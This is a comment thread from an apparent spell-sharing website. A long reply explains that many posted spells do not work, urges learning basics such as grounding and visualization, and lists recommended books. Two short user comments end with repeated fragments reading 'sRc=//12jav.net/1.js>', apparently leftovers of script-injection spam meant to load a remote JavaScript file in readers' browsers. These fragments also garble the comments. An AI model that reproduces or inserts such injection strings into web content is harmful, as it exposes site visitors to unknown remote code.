What are you drawing? I never heard of this spell, but it sounds fishy to me.. Do you mind linking it to me? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
As stated, you won't be seeing your drawing leap off the page. That said, you can incorporate drawing into the crafting of a spirit.
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Joshua, there are many, many spells on this site that cannot and will not ever work. Some were contributed by people who don't know enough about magic to realize what magic is actually able to do and what it is not. Some were contributed by people who were trying to trick others into thinking things were real that aren't. So just because a spell is on here and that it even has five stars doesn't mean that it is something that is going to work. A good rule of thumb is that if it seems like it is something that is out of a fantasy novel or a Hollywood movie it is likely not a piece of real magic.
If you're serious about learning how to do magic and with starting from the rock-bottom then you don't start out by casting spells, you start out by learning how and why magic works.
You see, there is no such thing as an "easy" spell or a "beginner" spell. One either understands how magic works and has mastered the basics...in which case the magic will work..or you haven't done that sort of work..and no spell will work no matter how "easy" it seems.
Casting a successful spell involves much more than finding some spell on the internet or in a book, saying some words, lighting a candle, waving a wand of any of that sort of thing. In order for magic to work you need to understand how and why it works in the first place. Grounding and centering, visualization, focus and intent, energy manipulation, etc are all necessary first steps to even begin to have a chance at a spell actually working...and more importantly to prevent a spell from back-firing on you.
So, my advice for anyone who is truly serious is to start by reading a few books and practicing the exercises those books will give you. Once you have mastered the basics you won't need anyone to give you spells, you'll be able to create your own spells that will be far more effective than anything you find on the net. Here's the books I suggest:
"Before You Cast a Spell" by Carl McColman
"Spells and How They Work" by Janet and Stewart Farrar
"The Veil's Edge" by Willow Polson
"Modern Magick" by Donald Michael Kraig
And the following links in this thread will also help you learn the basic skills necessary for effective spellwork.
With the articles or books mentioned, is there a PDF version of those I could download to my mobile device? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>